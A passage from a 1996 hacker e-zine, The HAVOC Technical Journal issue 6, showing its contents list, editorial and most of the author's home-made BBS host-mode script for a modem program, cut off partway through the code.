home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / unsorted-zines / thtj6.txt < prev    next >
Text File  |  2003-06-29  |  68KB  |  2,154 lines

  1. ╒══════════════════════════════════════════════════════════════════╕
  2. │The HAVOC Technical Journal                                       │▒
  3. └──────────────────────────────────────────────────────────────────┘▒
  4.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  5.  
  6. Vol. 1 | No.6 | December 15th, 1996 | A HAVOC Bell Systems Publication
  7.      "To protect and serve"             
  8.                Happy Athiest Day!  (Jan. 5th)
  9. _____________________________________________________________________________
  10. Inside this issue:
  11.  
  12.         Whats new this issue..............................
  13.         Editorial.........................................Scud-O
  14.         The HellNet[tm] C/Source Code.....................Scud-O
  15.         SSI weaknessess...................................Scud-O
  16.         system()..........................................Scud-O
  17.         XOR Encryption....................................Psycho
  18.         Hot Boot Crash....................................|\|\cFill
  19.         Transatlantic Telephone Cable #8..................Keystroke
  20.         For your reading pleasure.........................
  21.         RTFM: The lamer Journal...........................
  22.         ROLL CALL & more!.................................    
  23.         Next Month........................................      
  24.  
  25.         Send all mail to: thtj@juno.com
  26.         If you want to write an article for
  27.         THTJ email: FoxMuldet@worldnet.att.net
  28.  
  29.         This months music supplied by: Cake, Beck, Sebado, Blood Hound Gang,
  30.          Tool, Pink Floyd and WHFS 99.1 !
  31.          Good Techno music from: sm:)e communications
  32.  
  33. What's new in this issue:
  34.        Not much, but FINALLY Psycho (the world's biggest lamer!) has written
  35.        an article! So now, for the first time, all the HBS members that
  36.        aren't MIA have written for THTJ!
  37.  
  38.        -----------------------------------------------------------
  39.        How to contact us:
  40.         Check Out Our Web Site:
  41.          www.geocities.com/SiliconValley/8805/
  42.          Scud-O's e-mail   : FoxMulder@worldnet.att.net
  43.          Psycho's  e-mail  : psycho@smart.net
  44.          |\|\cFill's email : down -- server crashed
  45.          Keystroke's email : prenzo@soho.ios.com
  46.          our Mag e-mail is : thtj@juno.com
  47.          HELLCORE's e-mail : hellcore@juno.com
  48.       ---------------------------------------------------------------
  49.  
  50.       HBS members now (should) have web pages up on our site. go to:
  51.                 www.geocities.com/SiliconValley/8805/members.html
  52.  
  53.       The HAVOC Technical Journal Site of the MONTH:
  54.      +-----------------------------------------------------------+
  55.      |  theLURK3R's WebSite at:                                  |
  56.      |                   http://home.earthlink.net/~rseal/       |
  57.      +-----------------------------------------------------------+
  58.  
  59. Editorial:
  60.         Well this issue has turned out pretty well. The past month has been
  61. pretty good as well. The web site has been MAJORLY updated, we now are adding
  62. HBS member pages, we have a links page, and AT&T finally let their users use
  63. Netscape 2.02 (except ATT changed it and added a pain in the arse bug! I get
  64. all this fucking gibberish and have to reload like crazy! its annoying to see
  65. gibberish and the page you we just at... damn AT&T!)
  66.         Anyway... The 403 Forbidden club is dead. It was a gay name. But in
  67. spirit, its not dead. HBS Chat is what we are renaming it, and it is going to
  68. be cool. The main chat area will be split up into 3 frames, one for the chat,
  69. one for users, one for your input. It's just like how mIRC looks. hopefully
  70. we can have it up by the new year. It's time delayed chat, but it will reload
  71. faster than other web chats. Psycho is the main man on this project, since he
  72. knows a little java (and the fact that he would rather use this power for good
  73. and not evil) he is writting it. I know a little java and I might help out a
  74. little. So every one, give Psycho a round of applause! We would have used
  75. CGI.. but geocities sucks and says no. (but me should be moving to either
  76. luthor's site or L0pht soon, and they both allow CGI!)
  77.         Anyway that is all for now... now I must get on with issue 6...
  78.  
  79.  
  80.     ----------------------------------------------
  81.   /       ---/   --/  /   /  |  /------/   /    /
  82.  /---       /-----/------/-----/      /   /    /
  83. /----------/                         /--------/
  84.               -of HAVOC Bell Systems-
  85. FoxMulder@worldnet.att.net
  86.  
  87. Join the Athiest Coalition today. To protect our rights! [tm]
  88.  
  89. "A Scud - a theater ballistic missile - is one of the hardest targets.
  90. They're big stainless steel tanks."
  91.                - Michael F. Weisbach, Boeing's airborne laser project manager
  92.  
  93.  
  94. =============================================================================
  95.  
  96. The HellNet[tm] C/Script Source Code:
  97.         by Scud-O
  98.                 
  99. I first started on the HellNet[tm] source code the day I got my new 28.8
  100. modem. The US Robotics one I bought came with Quick Link Message Center.
  101. It had a host mode that I started to play with. I first only modified the
  102. intro text files, but then I wanted to add more. File descriptions would be
  103. nice, so would chat. so I went to the Quick Link directory and opened up
  104. HOSTMODE.SRP The first thing I noticed was that the script language looked
  105. a lot like C code. Hmmm.. I thought.. after adding a couple of features that
  106. mostly just displayed text files I started on the chat. I added a while loop
  107. and quess what - it worked! so this IS C code. cool.
  108.         So anyway here it is, the HellNet[tm] source code. I havent worked on
  109. it in about 3-4 months so it is kind of weak. I am now more interested in
  110. starting an ISP or other internet stuff.( hell.net sound kind of cool don't
  111. you think so? )
  112.  
  113.         Why is it called HellNet[tm]?
  114.                 Because I felt like it. AT&T has Worldnet, and since HBS
  115.                 is the opposite of AT&T, we had so call it HellNet. The
  116.                 [tm] comes in because Worldnet is a SM (slogan mark) and
  117.                 HellNet[tm] looked cool. 
  118.  
  119. Text files you need to create:
  120.  
  121.         ABOUT.TXT         - About your BBS
  122.         BYE.TXT           - Log off screen
  123.         CALLERS.TXT       - LEAVE EMPTY! caller info bbs will add
  124.         FILEZ.TXT         - File Descriptions
  125.         HOSTHELP.TXT      - HELP - you can leave blank, or fill in
  126.         HOSTMODE.TXT      - The main menu
  127.         MSG.TXT           - Bulletins
  128.         WAREZ.TXT         - the Warezhouse: buy/sell/trade area maybe?
  129.  
  130.  
  131.  
  132. HOSTMODE.SRP -------------------------------------
  133.  
  134. int STACKSIZE = 45;
  135.  
  136. /* HAVOC Bell Systems HellNet[tm] Host Mode Script Version 0 */
  137. /* Copyright HAVOC Bell Systems (c) 1996 ALL FIGHT F**KED! */
  138.  
  139. int  BaudRate;
  140.  
  141. char FALSE = 0;
  142. char TRUE = 1;
  143. char CANCEL = -1;
  144.  
  145. int  MAX_FILE_LEN = 144;
  146. int  HOST_TIMOUT;
  147.  
  148. char DefaultProtocol;
  149. char CurrentDir[144];
  150. char StartupDir[144];
  151. char TempDir[144];
  152. char UserName[82];
  153. char userString[82];
  154.  
  155. char host_timeout = FALSE;
  156. char host_continue;
  157. char security_level;
  158. char last_prompt;
  159. char ASCIITransComplete[] = "\r\nASCII transfer completed.\r\n";
  160. char ASCIITransCanceled[] = "\r\nASCII transfer completed.\r\n";
  161. char xTransComplete[] = "\r\nXmodem transfer completed.\r\n";
  162. char xTransCanceled[] = "\r\nXmodem transfer canceled.\r\n";
  163. char yTransComplete[] = "\r\nYmodem transfer completed.\r\n";
  164. char yTransCanceled[] = "\r\nYmodem transfer canceled.\r\n";
  165. char kTransComplete[] = "\r\nKermit transfer completed.\r\n";
  166. char kTransCanceled[] = "\r\nKermit transfer canceled.\r\n";
  167. char zTransComplete[] = "\r\nZmodem transfer completed.\r\n";
  168. char zTransCanceled[] = "\r\nZmodem transfer canceled.\r\n";
  169. char xyCancelPrompt[] = "\r\nPress Ctrl-X several times to cancel.\r\n";
  170. char thatSelection[] = "\r\nThe option you selected is not available to you.\r\n";
  171. char accessDenied[] = "\r\nAccess denied.\r\n";
  172. char tooLong[] = "\r\n\r\nYou took too long to respond.\r\n\r\nGoodbye!\r\n";
  173. char invalid[] = "\r\nInvalid selection.\r\n";
  174. char pleaseWaitProcessing[] = "\r\nPlease wait.  Your request is being processed...\r\n";
  175.  
  176. char *days[] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"};
  177.  
  178. HostOut(char *str)
  179. {
  180.     Out(str);
  181.     Echo(str);
  182. }
  183.  
  184.  
  185. ListProtocols()
  186. {
  187.     HostOut("\r\nChoose a file transfer protocol...\r\n");
  188.     HostOut("<1> ASCII        <5> Ymodem\r\n");
  189.     HostOut("<2> Xmodem       <6> Ymodem-G\r\n");
  190.     HostOut("<3> Xmodem CRC   <7> Kermit/SuperKermit\r\n");
  191.     HostOut("<4> Xmodem 1K    <8> Zmodem\r\n");
  192.     HostOut("                 <ESC> cancels transfer\r\n");
  193. }
  194.  
  195.  
  196. SelectProtocol()
  197. {
  198.     int rv;
  199.  
  200.     ListProtocols();
  201.     DefaultProtocol = 0;
  202.     PrintHostPrompt(3);
  203.  
  204.     rv = GetUserInput(userString, TRUE, HOST_TIMOUT);
  205.     if (rv)
  206.     {
  207.         if ((userString[0] >= 49) && (userString[0] <= 56) && (!userString[1]))
  208.             DefaultProtocol = userString[0] - 48;
  209.         else
  210.             rv = CANCEL;
  211.     }
  212.     else
  213.         host_timeout = TRUE;
  214.     return(rv);
  215. }
  216.  
  217.  
  218. GetFileName()
  219. {
  220.     int rv;
  221.  
  222.     PrintHostPrompt(4);
  223.     rv = GetUserInput(userString, TRUE, HOST_TIMOUT);
  224.  
  225.     if (rv == CANCEL)
  226.     {
  227.         return(CANCEL);
  228.     }
  229.     else if (rv == TRUE)
  230.     {
  231.         if (userString[0])
  232.         {
  233.             if ((Exists(userString)) == -1)
  234.             {
  235.                 return(-2);
  236.             }
  237.             else
  238.             {
  239.                 return(TRUE);
  240.             }
  241.         }
  242.     }
  243.     else
  244.         host_timeout = TRUE;
  245.     return(FALSE);
  246. }
  247.  
  248.  
  249. PutFileName()
  250. {
  251.     int rv;
  252.  
  253.     PrintHostPrompt(4);
  254.     rv = GetUserInput(userString, TRUE, HOST_TIMOUT);
  255.  
  256.     if (rv == CANCEL)
  257.     {
  258.         return(CANCEL);
  259.     }
  260.     else if (rv == TRUE)
  261.     {
  262.         if (userString[0])
  263.         {
  264.             if ((Exists(userString)) == -1)
  265.             {
  266.                 return(TRUE);
  267.             }
  268.             else
  269.             {
  270.                 return(FALSE);
  271.             }
  272.         }
  273.     }
  274.     else
  275.         host_timeout = TRUE;
  276.     return(FALSE);
  277. }
  278.  
  279.  
  280. GetMultipleFiles(char *fileName)
  281. {
  282.     char ret = TRUE;
  283.  
  284.     if (fileName[0])
  285.         AddFile(fileName);
  286.  
  287.     HostOut("\r\nSpecify multiple files, blank filename terminates list.\r\n");
  288.  
  289.     while ((ret == TRUE) && !host_timeout)
  290.     {
  291.         while ((ret = GetFileName()) == -2)
  292.             HostOut("\r\nFile does not exist.\r\n");
  293.  
  294.         StrCpy(userString, fileName);
  295.         if (fileName[0])
  296.             AddFile(fileName);
  297.     }
  298. }
  299.  
  300.  
  301. DownloadFiles()
  302. {
  303.     int rv;
  304.     char fileName[MAX_FILE_LEN];
  305.  
  306.     ClearList();
  307.     HostOut("\r\nFile Download");
  308.     if ((GetFileName() == TRUE) && !host_timeout)
  309.     {
  310.         StrCpy(userString, fileName);
  311.         rv = SelectProtocol();
  312.         if (rv == CANCEL)
  313.             return(CANCEL);
  314.         else if (rv == FALSE)
  315.         return(host_timeout);
  316.  
  317.         if (DefaultProtocol == 1)
  318.         {
  319.             PrintHostPrompt(5);
  320.             if (GetUserInput(userString, TRUE, HOST_TIMOUT))
  321.             {
  322.                 if (Upload(1, fileName))
  323.                     HostOut(ASCIITransComplete);
  324.                 else
  325.                     HostOut(ASCIITransCanceled);
  326.             }
  327.             else
  328.             {
  329.                 host_timeout = TRUE;
  330.             }
  331.         }
  332.         else if ((DefaultProtocol == 2) || (DefaultProtocol == 3))
  333.         {
  334.             HostOut("\r\nBegin your Xmodem receive now.");
  335.             HostOut(xyCancelPrompt);
  336.             Wait(2);
  337.             if (Upload(3, fileName))
  338.                 HostOut(xTransComplete);
  339.             else
  340.                 HostOut(xTransCanceled);
  341.         }
  342.         else if (DefaultProtocol == 4)
  343.         {
  344.             HostOut("\r\nBegin your Xmodem 1K receive now.");
  345.             HostOut(xyCancelPrompt);
  346.             if (Upload(4, fileName))
  347.                 HostOut(xTransComplete);
  348.             else
  349.                 HostOut(xTransCanceled);
  350.         }
  351.         else if ((DefaultProtocol == 5) || (DefaultProtocol == 6))
  352.         {
  353.  
  354.                         GetMultipleFiles(fileName);
  355.         if (!host_timeout)
  356.             {
  357.                 if (DefaultProtocol == 5)
  358.                     HostOut("\r\nBegin your Ymodem receive now.");
  359.                 else
  360.                     HostOut("\r\nBegin your Ymodem-G receive now.");
  361.                 HostOut(xyCancelPrompt);
  362.                 Wait(2);
  363.                 if (Upload(5))
  364.                     HostOut(yTransComplete);
  365.                 else
  366.                     HostOut(yTransCanceled);
  367.  
  368.             }
  369.         }
  370.         else if (DefaultProtocol == 7)
  371.         {
  372.             GetMultipleFiles(fileName);
  373.         if (!host_timeout)
  374.             {
  375.                 HostOut("\r\nBegin your Kermit/SuperKermit receive now.");
  376.                 HostOut(xyCancelPrompt);
  377.                 if (Upload(2))
  378.                     HostOut(kTransComplete);
  379.                 else
  380.                     HostOut(kTransCanceled);
  381.             }
  382.         }
  383.         else if (DefaultProtocol == 8)
  384.         {
  385.             GetMultipleFiles(fileName);
  386.         if (!host_timeout)
  387.             {
  388.                 HostOut("\r\nBegin your Zmodem receive now.");
  389.                 HostOut(xyCancelPrompt);
  390.                 if (Upload(7))
  391.                     HostOut(zTransComplete);
  392.                 else
  393.                     HostOut(zTransCanceled);
  394.             }
  395.         }
  396.     }
  397.     else
  398.         HostOut("\r\nFile does not exist.\r\n");
  399. }
  400.  
  401.  
  402. ListFiles()
  403. {
  404.     PrintHostPrompt(6);
  405.     if (GetUserInput(userString, TRUE, HOST_TIMOUT))
  406.     {
  407.         if (userString[1] == ':')
  408.         {
  409.             HostOut("\r\nCannot list files across drives.\r\n");
  410.             return;
  411.         }
  412.         if (!userString[0])
  413.             StrCpy("*.*", userString);
  414.         DisplayFiles(userString, security_level);
  415.     }
  416.     else
  417.         host_timeout = TRUE;
  418. }
  419.  
  420.  
  421. UploadFiles()
  422. {
  423.     int file, i = 0, lines = 0, rv;
  424.     char ch, buffer[80];
  425.  
  426.     Sprintf(buffer, "\r\nThere are %i000 bytes of available disk space on drive %c:\r\n", KBytesFree(CurrentDir[0]), CurrentDir[0]);
  427.     HostOut(buffer);
  428.  
  429.     rv = SelectProtocol();
  430.     if (rv == CANCEL)
  431.         return(CANCEL);
  432.     else if (rv == FALSE)
  433.     return(host_timeout);
  434.  
  435.     if (DefaultProtocol == 1)
  436.     {
  437.         if (PutFileName() == TRUE)
  438.         {
  439.             HostOut("\r\nStart your ASCII send now.\r\nPress Ctrl-Z when complete.\r\n");
  440.             rv = Download(1, userString);
  441.             if (rv)
  442.                 HostOut(ASCIITransComplete);
  443.             else
  444.                 HostOut(ASCIITransCanceled);
  445.         }
  446.         else
  447.         {
  448.             HostOut("\r\nFile already exists.\r\n");
  449.             return(CANCEL);
  450.         }
  451.     }
  452.     else if (DefaultProtocol == 2)
  453.     {
  454.         if (PutFileName() == TRUE)
  455.         {
  456.             HostOut("\r\nStart your Xmodem send now.");
  457.             HostOut(xyCancelPrompt);
  458.             Wait(2);
  459.             rv = Download(3, userString);
  460.             if (rv)
  461.                 HostOut(xTransComplete);
  462.             else
  463.                 HostOut(xTransCanceled);
  464.         }
  465.         else
  466.         {
  467.             HostOut("\r\nFile already exists.\r\n");
  468.             return(CANCEL);
  469.         }
  470.     }
  471.     else if (DefaultProtocol == 3)
  472.     {
  473.         if (PutFileName() == TRUE)
  474.         {
  475.             HostOut("\r\nStart your Xmodem CRC send now.");
  476.             HostOut(xyCancelPrompt);
  477.             Wait(2);
  478.             rv = Download(4, userString);
  479.             if (rv)
  480.                 HostOut(xTransComplete);
  481.             else
  482.                 HostOut(xTransCanceled);
  483.         }
  484.         else
  485.         {
  486.             HostOut("\r\nFile already exists.\r\n");
  487.             return(CANCEL);
  488.         }
  489.     }
  490.     else if (DefaultProtocol == 4)
  491.     {
  492.         if (PutFileName() == TRUE)
  493.         {
  494.             HostOut("\r\nStart your Xmodem 1K send now.");
  495.             HostOut(xyCancelPrompt);
  496.             Wait(2);
  497.             rv = Download(5, userString);
  498.             if (rv)
  499.                 HostOut(xTransComplete);
  500.             else
  501.                 HostOut(xTransCanceled);
  502.         }
  503.         else
  504.         {
  505.             HostOut("\r\nFile already exists.\r\n");
  506.             return(CANCEL);
  507.         }
  508.     }
  509.     else if (DefaultProtocol == 5)
  510.     {
  511.         HostOut("\r\nStart your Ymodem send now.");
  512.         HostOut(xyCancelPrompt);
  513.         Wait(2);
  514.         rv = Download(6);
  515.         if (rv)
  516.             HostOut(yTransComplete);
  517.         else
  518.             HostOut(yTransCanceled);
  519.     }
  520.     else if (DefaultProtocol == 6)
  521.     {
  522.         HostOut("\r\nStart your Ymodem-G send now.");
  523.         HostOut(xyCancelPrompt);
  524.         Wait(2);
  525.         rv = Download(7);
  526.         if (rv)
  527.             HostOut(yTransComplete);
  528.         else
  529.             HostOut(yTransCanceled);
  530.     }
  531.     else if (DefaultProtocol == 7)
  532.     {
  533.         HostOut("\r\nStart your Kermit/SuperKermit send now.\r\n");
  534.         rv = Download(2);
  535.         if (rv)
  536.             HostOut(kTransComplete);
  537.         else
  538.             HostOut(kTransCanceled);
  539.  
  540.     }
  541.     else if (DefaultProtocol == 8)
  542.     {
  543.         HostOut("\r\nStart your Zmodem send now.\r\n");
  544.         rv = Download(8);
  545.     }
  546.     return(rv);
  547. }
  548.  
  549.  
  550. ChangeDirectory()
  551. {
  552.     char directory[85], oldDir[85];
  553.     int i = 0, j, file;
  554.  
  555.     HostOut("\r\nCurrent path is: ");
  556.     Echo(CurrentDir);
  557.     OutBuffer(CurrentDir, StrLen(CurrentDir));
  558.  
  559.     HostOut("\r\n Change path to: ");
  560.     if (GetUserInput(userString, TRUE, HOST_TIMOUT))
  561.     {
  562.         if (userString[0])
  563.         {
  564.             if (SetDirectory(userString))
  565.                 StrCpy(GetDirectory(), CurrentDir);
  566.             else
  567.         HostOut("\r\nCannot change to specified path.\r\n");
  568.         }
  569.         return(TRUE);
  570.     }
  571.     else
  572.     {
  573.         host_timeout = TRUE;
  574.         return(FALSE);
  575.     }
  576. }
  577.  
  578.  
  579. ChangeDrive()
  580. {
  581.     int i = 0, j, file;
  582.     char junk[3];
  583.  
  584.     HostOut("\r\nCurrent drive is: ");
  585.  
  586.     Copy(CurrentDir, junk, 2);
  587.     junk[2] = 0;
  588.     HostOut(junk);
  589.  
  590.     HostOut("\r\n Change drive to: ");
  591.  
  592.     if (GetUserInput(userString, TRUE, HOST_TIMOUT))
  593.     {
  594.         if (userString[0])
  595.         {
  596.             if (SetDrive(userString))
  597.                 StrCpy(GetDirectory(), CurrentDir);
  598.             else
  599.         HostOut("\r\nCannot change to specified drive.\r\n");
  600.         }
  601.         return(TRUE);
  602.     }
  603.     else
  604.     {
  605.         host_timeout = TRUE;
  606.         return(FALSE);
  607.     }
  608. }
  609.  
  610.  
  611. PrintHostPrompt(int prompt)
  612. {
  613.     if (prompt)
  614.     last_prompt = prompt;
  615.     if (last_prompt == 1)
  616.     {
  617.                 HostOut("\r\n<A>bout <B>illboards <C>hange Drive <D>ownload <E>arlier Callers <F>ilez <G>oodbye <H>elp <L>ist <M>ove <R>elist <T>alk <U>pload <W>arezhouse\r\n");
  618.                 HostOut("Enter selection <A,B,C,D,E,F,G,H,L,M,R,T,U,W>: ");
  619.     }
  620.     else if (last_prompt == 2)
  621.         HostOut("\r\nEnter Password: ");
  622.     else if (last_prompt == 3)
  623.         HostOut("\r\nEnter Selection 1-8 or <ESC> to cancel: ");
  624.     else if (last_prompt ==  4)
  625.         HostOut("\r\nFilename: ");
  626.     else if (last_prompt ==  5)
  627.         HostOut("\r\nPress return to begin ASCII receive, <ESC> to cancel:\r\n");
  628.     else if (last_prompt ==  6)
  629.         HostOut("\r\nEnter file search parameter (e.g. *.*).  <ENTER> to search for all.\r\n->");
  630.     else if (last_prompt ==  7)
  631.         HostOut("\r\nEnter Name: ");
  632.     else if (last_prompt ==  8)
  633.         HostOut("\r\nAre you sure? <Y/N>: ");
  634.     else if (last_prompt ==  9)
  635.         HostOut("\r\nEnter Sysop Password: ");
  636. }
  637.  
  638.  
  639. LogCall(char *UserName)
  640. {
  641.     int hFile;
  642.     char szLogLine[80];
  643.     
  644.     int year, month, day, dayofweek, hour, minute, second, hsecond;
  645.  
  646.     Time(&year, &month, &day, &dayofweek, &hour, &minute, &second, &hsecond);
  647.     StrCpy(HomePath(), TempDir);
  648.     StrCat(TempDir, "CALLERS.TXT");
  649.     hFile = Open(TempDir, 1);
  650.     Seek(hFile, 0, 2);
  651.     Sprintf(szLogLine, "%-25s %s %i:%i\r\n", UserName, days[dayofweek], hour, minute);
  652.     Write(hFile, szLogLine, StrLen(szLogLine));
  653.     Close(hFile);
  654. }
  655.  
  656.  
  657. HostMainLoop()
  658. {
  659.     char host_online = TRUE, rightpassword = FALSE;
  660.  
  661.     int start_time, i;
  662.     int year, month, day, dayofweek, hour, minute, second, hsecond;
  663.  
  664.     start_time = Time(&year, &month, &day, &dayofweek, &hour, &minute, &second, &hsecond);
  665.     while ((CarrierDetect()) && (host_online))
  666.     {
  667.         PrintHostPrompt(1);
  668.         if ((i = GetUserInput(userString, TRUE, HOST_TIMOUT)) == TRUE)
  669.         {
  670.             if ((userString[0] == 'd') || (userString[0] == 'D'))
  671.             {
  672.                 if (AllowDownloads())
  673.                     DownloadFiles();
  674.                 else
  675.                     HostOut(thatSelection);
  676.             }
  677.             else if ((userString[0] == 'g') || (userString[0] == 'G'))
  678.             {
  679.                 PrintHostPrompt(8);
  680.             if (GetUserInput(userString, TRUE, HOST_TIMOUT))
  681.                 {
  682.                     if ((userString[0] == 'y') || (userString[0] == 'Y'))
  683.                     {
  684.                                                 StrCpy(HomePath(), TempDir);
  685.                                                 StrCat(TempDir, "BYE.TXT");
  686.                                                 if (!OutFile(TempDir))
  687.                                                 HostOut("\r\nGoodbye lamer!\r\n");
  688.                 host_online = FALSE;
  689.                     }
  690.                 }
  691.                 else
  692.                     host_timeout = TRUE;
  693.             }
  694.             else if ((userString[0] == 'h') || (userString[0] == 'H') || (userString[0] == '?'))
  695.             {
  696.                 StrCpy(HomePath(), TempDir);
  697.                 StrCat(TempDir, "HOSTHELP.TXT");
  698.                 if (!OutFile(TempDir))
  699.                     HostOut("\r\nNo help available.\r\n");
  700.             }
  701.             else if ((userString[0] == 'l') || (userString[0] == 'L'))
  702.             {
  703.                 ListFiles();
  704.             }
  705.             else if ((userString[0] == 'u') || (userString[0] == 'U'))
  706.             {
  707.                 if (AllowUploads())
  708.                     UploadFiles();
  709.                 else
  710.                     HostOut(thatSelection);
  711.             }
  712.             else if ((userString[0] == 'm') || (userString[0] == 'M'))
  713.             {
  714.                 if (security_level > 1)
  715.                     ChangeDirectory();
  716.                 else
  717.                     HostOut(thatSelection);
  718.             }
  719.             else if ((userString[0] == 'c') || (userString[0] == 'C'))
  720.             {
  721.                 if (security_level > 1)
  722.                     ChangeDrive();
  723.                 else
  724.                     HostOut(thatSelection);
  725.             }
  726.                         /* Added by HAVOC 7/30/96 */
  727.                         /* Billboard program  i.e messages + mail! */
  728.                         else if ((userString[0] == 'b') || (userString[0] == 'B'))
  729.             {
  730.                 StrCpy(HomePath(), TempDir);
  731.                                 StrCat(TempDir, "MSG.TXT");
  732.                 if (!OutFile(TempDir))
  733.                                         HostOut("\r\nNo MSG available.\r\n");
  734.                                 
  735.             }
  736.                         /* Added by HAVOC 7/30/96 */
  737.                         /* chat between op + usr */
  738.                         /* continued work on it 9/14/96 */
  739.                         else if ((userString[0] == 't') || (userString[0] == 'T'))
  740.                         {
  741.                                 HostOut("\r\nNOTE: press the tilde key '~' to exit chat!\r\n");
  742.                                 for(;;)
  743.                                 /* while(userString[0]!= '~') */
  744.                                 {
  745.                                         userString[0]=GetUserInput();
  746.                                         if userString[0] == '~'
  747.                                         {
  748.                                                 break;
  749.                                         }
  750.                                         else
  751.                                         {
  752.                                                 continue;
  753.                                         }
  754.  
  755.                                 }
  756.                         }
  757.                         /* Added by HAVOC 8/4/96 */
  758.                         else if ((userString[0] == 'a') || (userString[0] == 'A'))
  759.                         {
  760.                 StrCpy(HomePath(), TempDir);
  761.                                 StrCat(TempDir, "ABOUT.TXT");
  762.                 if (!OutFile(TempDir))
  763.                                         HostOut("\r\nABOUT is not available now.\r\n");
  764.                         }
  765.                         /* Added by HAVOC 8/4/96 */
  766.                         else if ((userString[0] == 'r') || (userString[0] == 'R'))
  767.                         {
  768.                 StrCpy(HomePath(), TempDir);
  769.                                 StrCat(TempDir, "HOSTMODE.TXT");
  770.                 if (!OutFile(TempDir))
  771.                                         HostOut("\r\nError! Menu is not available now.\r\n");
  772.                         }
  773.                         /* Added by HAVOC 8/13/96 */
  774.                         else if ((userString[0] == 'f') || (userString[0] == 'F'))
  775.                         {
  776.                 StrCpy(HomePath(), TempDir);
  777.                                 StrCat(TempDir, "FILEZ.TXT");
  778.                 if (!OutFile(TempDir))
  779.                                         HostOut("\r\nError! Filez are offline!\r\n");
  780.                         }
  781.                         /* Added by HAVOC 8/13/96 */
  782.                         else if ((userString[0] == 'w') || (userString[0] == 'W'))
  783.                         {
  784.                 StrCpy(HomePath(), TempDir);
  785.                                 StrCat(TempDir, "WAREZ.TXT");
  786.                 if (!OutFile(TempDir))
  787.                                         HostOut("\r\nError! Da Warezhouse is empty!\r\n");
  788.                         }
  789.                         /* Added by HAVOC 9/14/96 */
  790.                         else if ((userString[0] == 'e') || (userString[0] == 'E'))
  791.                         {
  792.                                 StrCpy(HomePath(), TempDir);
  793.                                 StrCat(TempDir, "CALLERS.TXT");
  794.                                 if (!OutFile(TempDir))
  795.                                         HostOut("\r\nHey, we just cleaned the caller file, your caller no. 1 !\r\n");
  796.                         }
  797.             else
  798.                 HostOut(invalid);
  799.                 }
  800.         else if (i == 0)
  801.             host_timeout = TRUE;
  802.  
  803.         if (host_timeout)
  804.         {
  805.             HostOut(tooLong);
  806.             break;
  807.         }
  808.     }
  809. }
  810.  
  811.  
  812. main()
  813. {
  814.     char ch, connect;
  815.     int i;
  816.     int nKey, FaxMgr;
  817.  
  818.     host_continue = TRUE;
  819.     connect = FALSE;
  820.     HOST_TIMOUT = (HostTimeout()*60);
  821.  
  822.     FaxMgr = CalledFromFaxMgr();
  823.     if (!FaxMgr)
  824.     {
  825.         if (CarrierDetect())
  826.         {
  827.             Echo("\r\nWould you like to hangup the line? <Y/N>: ");
  828.             if (!GetUserInput(userString, TRUE, HOST_TIMOUT))
  829.             {
  830.             HostOut(tooLong);
  831.                 return();
  832.             }
  833.             if ((userString[0] == 'Y') || (userString[0] == 'y'))
  834.             {
  835.                 Wait(2);
  836.                 Hangup();
  837.             }
  838.             else if ((userString[0] == 'N') || (userString[0] == 'n'))
  839.             {
  840.                 connect = TRUE;
  841.             }
  842.         }
  843.     
  844.         if (!connect)
  845.         {
  846.             if (HostSpeed())
  847.                 Baud(HostSpeed());
  848.             Parity('N');
  849.             Stop("1");
  850.             Data(8);
  851.             Out(HostInit());
  852.             Out("\r");
  853.             WaitFor("OK\r\n", 3); 
  854.         }
  855.     }
  856.     StrCpy(GetDirectory(), StartupDir);
  857.  
  858.     while (host_continue)
  859.     {               
  860.         SetDrive(HostPath());
  861.         SetDirectory(HostPath());
  862.         StrCpy(GetDirectory(), CurrentDir);
  863.  
  864.         if (!FaxMgr)
  865.         {
  866.             if (!connect)
  867.             {
  868.                 Echo("\r\nWaiting for call...\r\n");
  869.                                 Echo("HAVOC Bell Systems HellNet[tm] v.0\r\n");
  870.                 Echo("Press <ESC> to cancel or 'L' to logon locally: ");
  871.             }
  872.         }
  873.         else
  874.             FaxMgr = FALSE;
  875.  
  876.         while ((!connect) && (host_continue))
  877.         {
  878.             nKey = GetKeyStroke();
  879.             if (nKey == -1)
  880.             {
  881.                 Echo("\r\nHost mode canceled by operator\r\n");
  882.                 host_continue = FALSE;
  883.                 break;
  884.             }
  885.             if ((nKey == 'l') || (nKey == 'L'))
  886.             {
  887.                 connect = TRUE;
  888.                 SetLocalHost(TRUE);
  889.                 Echo("\r\nEntering host mode locally.\r\n");
  890.             }
  891.             BaudRate = CallDetected();
  892.             if (BaudRate == -1)
  893.             {
  894.                 Echo("\r\nWaiting for call...\r\n");
  895.                                 Echo("HAVOC Bell Systems HellNet[tm] V.0\r\n");
  896.                 Echo("Press <ESC> to cancel or 'L' to logon locally: ");
  897.             }
  898.             else if (BaudRate)
  899.             {
  900.                 Beep();
  901.                 LogonDelay();
  902.                 connect = TRUE;
  903.             }
  904.         }
  905.         if (host_continue && connect)
  906.         {
  907.             PrintHostPrompt(7);
  908.             if (!GetUserInput(UserName, TRUE, HOST_TIMOUT))
  909.             {
  910.                 HostOut(tooLong);
  911.                 connect = FALSE;
  912.             }
  913.             else
  914.             {
  915.                 LogCall(UserName);
  916.             }
  917.         }
  918.         if (host_continue && UsePassword() && connect)
  919.         {
  920.             security_level = 0;
  921.             HostOut("\r\n");
  922.             for (i = 0; i < 4; i++)
  923.             {
  924.                 PrintHostPrompt(2);
  925.                 if (GetUserInput(userString, FALSE, HOST_TIMOUT))
  926.                 {
  927.                     if (UseMovePassword())
  928.                     {
  929.                         if (!StrnCmpI(userString, Password(), StrLen(Password())))
  930.                         {
  931.                             security_level = 2;
  932.                             break;
  933.                         }
  934.                     }
  935.                     else
  936.                     {
  937.                         if (!StrnCmpI(userString, Password(), StrLen(Password())))
  938.                         {
  939.                             security_level = 1;
  940.                             break;
  941.                         }
  942.                     }
  943.                 }
  944.                 else
  945.                 {
  946.                     HostOut(tooLong);
  947.                     connect = FALSE;
  948.                     break;
  949.                 }
  950.                 HostOut("\r\nInvalid password, please try again.\r\n");
  951.             }
  952.         }
  953.         else    
  954.         {                          
  955.             if (UseMovePassword())
  956.                 security_level = 2;
  957.             else
  958.                 security_level = 1;
